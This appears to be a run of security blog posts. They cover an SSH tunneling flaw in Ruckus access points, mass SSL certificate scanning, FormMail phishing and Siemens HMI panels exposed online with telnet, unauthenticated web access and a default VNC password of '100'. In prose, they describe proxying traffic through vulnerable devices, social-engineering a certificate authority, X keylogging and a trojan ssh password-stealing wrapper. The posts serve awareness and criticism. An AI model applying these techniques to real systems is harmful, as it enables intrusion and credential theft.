Today’s tale of doing it wrong comes to us courtesy of Ruckus Wireless who announced in a recent security bulletin an interesting and no doubt repeated flaw in their implementation of SSH on wireless access points.
If you’re not familiar with tunneling with SSH here’s a quick primer. As well as a secure replacement for telnet, SSH offers a whole host of other features including the ability to tunnel traffic over the encrypted link. You can have SSH listen on a port send data sent to the port over the encrypted link and forward it off to another destination. I like SSH, partly because of my pathological hatred for telnet and partly because it is so useful and I’m a fan of anyone who forgoes telnet for SSH for command line access. So what have Ruckus done wrong in their implementation?
Let’s back track a little. In the days when telnet was the ubiquitous means of command line access to embedded systems manufacturers would typically provide some kind of menu-driven or bespoke command line interface for device configuration. Often these would implement authentication as well, prompting for a username and password without relying on any mechanisms provided by the embedded OS. So telnet in and you get a login prompt. Simples. But telnet being horribly insecure many cried out for a better way of doing this and a better way was found. Take the same interactive shell used for telnet and put it behind SSH instead and all our worries are gone. Well not quite.
Telnet and SSH overlap in their functionality to some degree but there’s an important area in which they do not; authentication. Typically a telnet daemon will receive a TCP connection and then hand off to another program to perform authentication. On Unix systems with would typically be /bin/login. SSH on the other hand does include the ability to authenticate users and it’s here that vulnerable implementations fall over. In order to access the configuration shell you effectively are logged in without credentials, at least from SSH’s point of view. Sure, you can’t access the device’s configuration without credentials but the keen reader will already have spotted the flaw in all this. As an authentication user you can create tunnels.
If you are familiar you’re probably aware of the sorts of shenanigans you can get up to with this. Perhaps the most flexible use is to use these devices as SOCKS proxies for tunneling your traffic and make it appear to be coming from the vulnerable device. Allison Nixon gave a greattech segment on episode 329 of Pauldotcom Security Weekly on using AWS free instances as proxy servers which explains this well. Replace the cloud server for a vulnerable device for +1 anonymity. You could of course also use the device to pivot onto any other networks attached to the vulnerable device.
This one falls squarely in the insidious class of security misconfiguration vulnerabilities. To be fair I very much doubt that Ruckus is alone in having incorrectly implemented SSH in this manner. What seems like an easy win is perilous if you do not consider the additional functionality the SSH daemon provides.
In the last post I posed the question of what use all of this information would be. I’m pretty sure I don’t have an exhaustive list but here are a few ideas.
One use is to identify the type of device running the HTTPS server; plenty of vendors provide equipment with HTTPS administration interfaces. I’ve previously mentioned how many vendors do a less than stellar job of this, using fixed certificates and keys. Man-in-the-middle aside, using static SSL certificates allows us a way of fingerprinting devices. If a vulnerability is discovered in a particular product and you have an SSL signature then trawl your database for matches and you’ve quickly built a potential target list.
Let’s suppose you want to own an organisation; at some time Bob gets those urges. Grabbing a valid SSL certificate might be a good start. If you find a site that uses a wildcard certificate then this could be a high value target. If you can own that server and steal the certificate you have the power to successfully masquerade as any host from that domain for some real abuse of trust.
Knowledge of a certificate expiry date can also be useful. You could get props from the owner by reminding them if you’re feeling charitable. For the more sinister reader you could use this fact to help in trying to social engineer a CA to hand you a new certificate for the domain. Knowing the certificate is about to expire enriches your story and can provide leverage in getting a falsely issued certificate.
We could look to see which CA are the most popular. You could draw pie charts and everything. Not much of an infosec angle but hey, poeple like pictures.
Then again you can just look for oddities in the data. Take a look at the certificate chain for one of the sites scanned.
Certificate chain
0 s:/description=8yd5g3VLw04h2c8I/C=LT/CN=www.aviago.com.ua/emailAddress=postmaster@aviago.com.ua
i:/C=IL/O=StartCom Ltd./OU=Secure Digital Certificate Signing/CN=StartCom Class 1 Primary Intermediate Server CA
1 s:/C=IL/O=StartCom Ltd./OU=Secure Digital Certificate Signing/CN=StartCom Certification Authority
i:/C=IL/O=StartCom Ltd./CN=StartCom Certification Authority G2
2 s:/C=IL/O=StartCom Ltd./CN=StartCom Certification Authority G2
i:/C=IL/O=StartCom Ltd./CN=StartCom Certification Authority G2
3 s:/C=IL/O=StartCom Ltd./OU=Secure Digital Certificate Signing/CN=StartCom Certification Authority
i:/C=IL/O=StartCom Ltd./OU=Secure Digital Certificate Signing/CN=StartCom Certification Authority
4 s:/C=IL/O=StartCom Ltd./OU=Secure Digital Certificate Signing/CN=StartCom Certification Authority
i:/C=IL/O=StartCom Ltd./OU=Secure Digital Certificate Signing/CN=StartCom Certification Authority
5 s:/C=IL/O=StartCom Ltd./OU=Secure Digital Certificate Signing/CN=StartCom Certification Authority
i:/C=US/ST=Washington/L=Redmond/O=Microsoft Corporation/CN=Microsoft Code Verification Root
6 s:/C=IL/O=StartCom Ltd./OU=Secure Digital Certificate Signing/CN=StartCom Class 1 Primary Intermediate Client CA
i:/C=IL/O=StartCom Ltd./OU=Secure Digital Certificate Signing/CN=StartCom Certification Authority
7 s:/C=IL/O=StartCom Ltd./OU=Secure Digital Certificate Signing/CN=StartCom Class 1 Primary Intermediate Domain Controller CA
i:/C=IL/O=StartCom Ltd./OU=Secure Digital Certificate Signing/CN=StartCom Certification Authority
8 s:/C=PL/ST=Malopolskie/O=Mobile Experts sp. z o.o./CN=StartCom Class 1 Intermediate CA - Mobile Experts sp. z o.o.
i:/C=IL/O=StartCom Ltd./OU=Secure Digital Certificate Signing/CN=StartCom Certification Authority
9 s:/C=US/ST=Massachusetts/O=The City of Osmio, Inc./CN=StartCom Class 1 Intermediate CA - The City of Osmio
i:/C=IL/O=StartCom Ltd./OU=Secure Digital Certificate Signing/CN=StartCom Certification Authority
10 s:/C=IL/O=StartCom Ltd./OU=Secure Digital Certificate Signing/CN=StartCom Class 1 Primary Intermediate Server CA
i:/C=IL/O=StartCom Ltd./OU=Secure Digital Certificate Signing/CN=StartCom Certification Authority
11 s:/C=IL/O=StartCom Ltd./OU=Secure Digital Certificate Signing/CN=StartCom Class 2 Primary Intermediate Client CA
i:/C=IL/O=StartCom Ltd./OU=Secure Digital Certificate Signing/CN=StartCom Certification Authority
12 s:/C=IL/O=StartCom Ltd./OU=Secure Digital Certificate Signing/CN=StartCom Class 2 Primary Intermediate Object CA
i:/C=IL/O=StartCom Ltd./OU=Secure Digital Certificate Signing/CN=StartCom Certification Authority
13 s:/C=US/ST=Oregon/O=JanRain Inc./CN=StartCom Class 2 Intermediate CA - JanRain Inc.
i:/C=IL/O=StartCom Ltd./OU=Secure Digital Certificate Signing/CN=StartCom Certification Authority
14 s:/C=IL/O=StartCom Ltd./OU=Secure Digital Certificate Signing/CN=StartCom Class 2 Primary Intermediate Server CA
i:/C=IL/O=StartCom Ltd./OU=Secure Digital Certificate Signing/CN=StartCom Certification Authority
15 s:/C=IL/O=StartCom Ltd./OU=Secure Digital Certificate Signing/CN=StartCom Class 3 Primary Intermediate Client CA
i:/C=IL/O=StartCom Ltd./OU=Secure Digital Certificate Signing/CN=StartCom Certification Authority
16 s:/C=IL/O=StartCom Ltd./OU=Secure Digital Certificate Signing/CN=StartCom Class 3 Primary Intermediate Object CA
i:/C=IL/O=StartCom Ltd./OU=Secure Digital Certificate Signing/CN=StartCom Certification Authority
17 s:/C=IL/O=StartCom Ltd./OU=Secure Digital Certificate Signing/CN=StartCom Class 3 Primary Intermediate Server CA
i:/C=IL/O=StartCom Ltd./OU=Secure Digital Certificate Signing/CN=StartCom Certification Authority
18 s:/C=IL/O=StartCom Ltd./OU=StartCom Certification Authority/CN=StartCom Extended Validation Server CA
i:/C=IL/O=StartCom Ltd./OU=Secure Digital Certificate Signing/CN=StartCom Certification Authority
That’s pretty long. At number 5 there is what appears to be a Microsoft code signing certificate in there. I’m not certain what this means but it does seem kooky.
I’ve noticed an increase in phishing emails to my regular mailboxes lately with HTML forms attached. I’ve always thought of this as a bit kooky when it comes to phishing. It’s almost like you make it harder for the recipient by forcing them to open an attachment before they get to see your wonderfully branded fake banking page. The obvious benefit is that you don’t need to own up a whole lot of web servers to host your fake bank (fank?) which quickly get added to know blacklists.
Typically these form would post the stolen data to a PHP script which would then forward it on to a drop box used by the phishermen. Taking a look at the code of some of the recent examples I have seen yielded something I had not seen in quite a while; formmail CGI abuse. The venerable FormMail was last updated in 2009 and was once a very popular way of sending email from web pages using the all-powerful Perl CGI. It was also rife for abuse when web masters failed to secure their implementation as was the source of much spam.
FormMail basically takes POST data from a HTML form and generate an email based on what it receives. It almost seems a regression in technology versus hosting a fake page or PHP forwarder. As a result you can even see the email drop box listed in the form parameters.
Occasionally you’ll see more than one email recipient listed, protecting the miscreant from having their drop box closed before then can gather their harvest. Perhaps what they gain in not having to upload a custom script to a web server they lose in loss of opacity for their data collection. The URL of the vulnerable FormMail script is less likely to appear on a blacklist and the HTML attachment less likely to trigger anti-malware defenses.
This approach to phishing is low-tech but does have a certain elegance. Only try just as hard as you need to should be the motto of the modern Internet criminal. Advanced malware is for suckers, CGI abuse for the win!
Bob’s been busy again, this time scanning the Internet SSL web servers. What has he been looking at? Bob’s been looking at the SSL certificate themselves. Why you may well ask; if you have never looked closely at a certificate you may be surprised by how much information is contained within. You have data about what the purported hostname of the server, who issued the certificate, who signed it and when it expires. Like most things if you grab a big enough data set you can draw some interesting conclusions.
If you are planning to scan the world’s web servers you’ll need a list if targets. I can’t think if a jurisdiction where looking at an SSL certificate would be a crime, if you want to use SSL/TLS you need access to this information after all. That said starting with the Alexa top 1,000,000 sites list is a good way to go. You can also scan IP address ranges but this gets a little more sketchy on the legal side, think authorised access. Scan IPs belonging to ADSL lines and you’ll no doubt turn up all sorts of goodies. You’d be surprised what people think to connect to domestic and business broadband connections. Better yet scan a range that belongs to a cell phone provided and see what someone has connected to the other end of a 3G connection. Expect to find monitoring and ICS systems out there.
So turn our attention back to the top 1,000,000 web sites. For each of these domain names Bob checked https://domain.name and https://www.domain.name to see if there is an SSL web server listening on port 443. If there was then Bob grabbed information about the site’s SSL certificate and the certificate chain i.e. which certificate authorities (if any) signed the server certificate. Crypto can seem scary and difficult but this feat is easily achievable with openssl and some simple scripting.
So what can you do with this list of seemingly meaningless data? Feed all these results into your favourite database and let the fun begin.
Here’s a screen capture from the admin login screen for a Brocade ServerIron ADX 1000. Can you spot the DERP here?
It got me to thinking about why you would want to give the user a choice of using TLS/SSL or not. There are significant issues with the use of TLS/SSL for configuring things like network devices. In almost all cases you the user cannot change the SSL certificate that is used on the device and the one provided is necessarily not going to be valid because the server name on the certificate is not going to match the hostname you use to access it and it will be either self-signed or signed by a non-recognised CA. On top of that many devices use a default, static TLS/SSL certificate and key on every device so you potentially leave yourself vulnerable to MITM if these can be copied form a device or firmware file.
I’ve not heard of anyone doing this in the wild (probably because I don’t mix in the right circles) but I could well imagine a policy enforced on web browsers not to allow users to ignore and bypass TLS/SSL certificate warnings. Sounds like a good measure to defeat the heavily re-enforced behaviour of clicking OK to everything. So the alternative? Don’t use TLS/SSL on these logins, that way we can login from ultra-secure environments with locked down workstations. Joy.
The ways in which TLS/SSL is used, abuse and flatly ignored makes my head spin. If you are going to do TLS/SSL right I for one would like to see an implementation support the following:
Allow you to change the server certificate and CA certificate to something valid, either a certificate from a recognised CA or from your own CA. You can have browsers correctly validate the host is who it says it is. This is a key part of why we use TLS/SSL in addition to encrypting the traffic.
Allow for mutual TLS/SSL authentication. Even if you need a username/password to access the device checking for a valid client certificate helps prevent unauthorised users from accessing the administration console.
Bob is a guy who presses buttons. See a button, press it, see what happens. It’s what hackers do. So when Bob sees a virtual button on a touch screen interface what happens?
I’m not certain that short of having no authentication at all that security UI design gets any worse than this. Bob did make a half-hearted attempt to contact the vendor but didn’t get a response so technically Bob just dropped 0-day on the Mardix iPDU. Can’t see Vupen knocking down the doors to get exclusivity on this one. Genies, bottles and all that.
What’s does BCSD mean? It’s an acronym sometimes used for phallicly-challenged drivers of large automobiles but I’ve another meaning in mind; Badly Configured SCADA Device. There are plenty of them out there for sure. Now before I go on let me make it clear what I mean by SCADA. There’s a lot of FUD out there on this topic and far be it from me to pile onto that bandwagon. Take the acronym at face value; if your popcorn maker is computer controlled and records temperature that’s as control and data acquisition system. Not that exciting sure but probably something that ought not be on t’interwebs, right? Not every SCADA system runs a billion dollar assembly line or a fission reactor.
Bob recently sent me a tale of his research (nice try Bob, you’re just plain nosy and you know it) into one particular device, namely Siemens Simatic range of HMI panels. These are Windows CE based touchscreen human-machine interface display devices and are linked to a wide variety of automated systems. So what contributes to these being a BCSD? Firstly of all they provide unauthenticated telnet access. When I pressed him on this Bob didn’t know if they come out of the box like this but the mere fact that you can run telnet with no login does not bode well. You might think that security was not at the forefront of the developer’s mind when this was built.
You can also manage these critters using HTTP. Most of the functionality, save the file browser, is available without having to authenticate. But that’s cool, you can always telnet in if you want to see what’s stored on the device. Oh and there’s also VNC. Siemens have included a nice little Java VNC client in the web server. Now before you get too excited it does promptsfor a password. Just a password. Not a username and password. Just as password. Oh and the default password is 100. Nice.
So here’s where the fun begins. Bob sent some of the choice BCSD screen shots of stuff that ought not be on t’interwebs.
So what is this exactly? We see something that looks like flames, a temperature gauge and some strange values in drop down boxes. What’s your guess as to it’s purpose? This is the control panel for a crematorium. Wow, what the hell is this doing on the Internet? That’s just plain creepy, thanks Bob. Is Obese the default setting on this thing? *shudder*
What about this one? It’s the control panel from a funicular railway. How quanit, sounds like the sort of thing you ride when you’re on holiday. A slightly less creepy voyeurism tool than the previous one for the trainspotters out there or a fun-sized Scalextric set for grown-ups? You decide.
And this one? File this under WTF meaning I haven’t a clue what it’s supposed to be. Bob pointed out that this one allowed user interaction with the screen. I did mention earlier that these are touchscreen device right? So now you can reach out and touch… whatever the hell this is. The word “Fermentor” make me think this is a brewery or a sewage treatment plant.
What’s the moral of this Bob story? Take a product with a poor security architecture, hook it up to control whatever and then plonk it on the Internet. What could possibly go wrong?
Special thanks to Patrick Grey for sharing this on the Risky Business 2 podcast. If you don’t already subscribe to the Risky Business podcast you should. Go to http://risky.biz/ or search for Risky Business on iTunes. You’ll find lots extra content from AusCERT on the Risky Business 2 podcast so don’t miss that one.
Bob’s been around the block a few times. He’s seen it all and the resurgence in client side attacks comes as no surprise. Attacking the client and person sitting in the chair are a time honoured way of rooting boxes. And it’s not just browsers and Adobe products that are susceptible. So here is a tale from long ago which goes to show why you shouldn’t taunt Bob unless you don’t mind having it handed to you on a plate.
The Bet
“My machine is hacker proof!” beamed Dominic, brimming with pride that he had connected his Debian box to his home DSL line. “I’ve applied all of the patches and no one is getting in.” Bob of course takes this as a direct challenge and soon a wager is set up that Bob cannot hack said server. Bob had a wider view of information security and finding remote exploits for a patched server wasn’t high on his list of how to crack this nut. Sure enough a few days later Dominic confronts Bob with a flushed face with anger. “My web server has been defaced! How did you get in?” he cried.
Always practice safe X
Instead of going straight for the server Bob concentrated on attacking the client side of remote access, which he knew would be weaker and easier to exploit. Both Bob and Dom were Unix administrators for a large firm and to display graphical programs like xterm on their workstations they used an X server for windows. X does provide a means of limiting which clients can access; of course real men tunnel X over ssh. Lazy administrators won’t and will simply permit any client to access the server. Displaying arbitrary crap on someone’s screen does provide some amusement but the sinister and often overlooked consequence of a permissive X servers is that it allows keystroke logging. All Bob has to do was connect to Dom’s workstation and wait for him to log into his server.
Shared servers are evil, no?
Dominic of course cried foul. The wager was clearly not won since Bob hadn’t “hacked” his server and the challenge still stood. So Bob tried again. One short shell script later and Bob had a trojan ssh command which he placed in Dominic’s PATH on shared server which he used to access his Debian server. When run it paused for a second, prompted for an SSH password, paused once more and started the real ssh client with the same parameters it had been passed. As well as writing the password to a file it deleted the trojan script and fixed the PATH variable in Dom’d .bashrc to cover it’s tracks. Most people won’t question why they’ve been prompted for a password twice since entering a typo is so common. The same defacement occurred and Dom’s pride was hurt all over again. Bob really, really hoped that Dominic had learned some valuable lessons in operational security, but then Bob is an optimist.
The moral of this tale?
What are you going to take home from this? Pride comes before a fall? Don’t tease the tiger? How about be nice and don’t harass your colleagues by hacking their server even if they challenge you to? What happened here was basically a pen test where the rules of engagement were not agreed upon from the start. The client called out the tester because they used dirty tricks to get to the prize. Noses can easily get put out of joint if you try to be clever or brag about your conquests, but isn’t that part of the fun of being Bob?
